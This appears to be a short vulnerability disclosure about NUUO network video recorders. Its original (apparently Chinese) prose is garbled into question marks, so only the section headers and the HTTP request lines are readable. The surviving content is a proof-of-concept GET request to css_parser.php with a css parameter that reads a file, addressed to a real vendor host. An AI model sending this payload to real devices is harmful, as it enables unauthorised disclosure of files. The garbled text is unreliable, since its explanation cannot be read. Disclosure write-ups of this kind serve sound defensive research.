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0x01 NUUO???????????

NUUO????????Network Video Recorder???NVR??NUUO Inc.???????????????????????????????????????????????????????IP????????????????????????????????????NUUO NVR??????????????????????????

0x02 ????

???????????????????css_parser.php???????????????????????????????????????????????????????????????????????????????????

0x03 ??????

????????????????

????????URL??GET?????????

GET /css_parser.php?css=css_parser.php HTTP/1.1

??????????????????User-Agent??????

Host: www.nuuo.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:xx.xx.xx) Gecko/20100101 Firefox/xx.xx

0x04 ????

?????????PoC?Proof of Concept?????????????

GET /css_parser.php?css=css_parser.php HTTP/1.1  Host: www.nuuo.com

??????????css_parser.php???????????????????????????????????????

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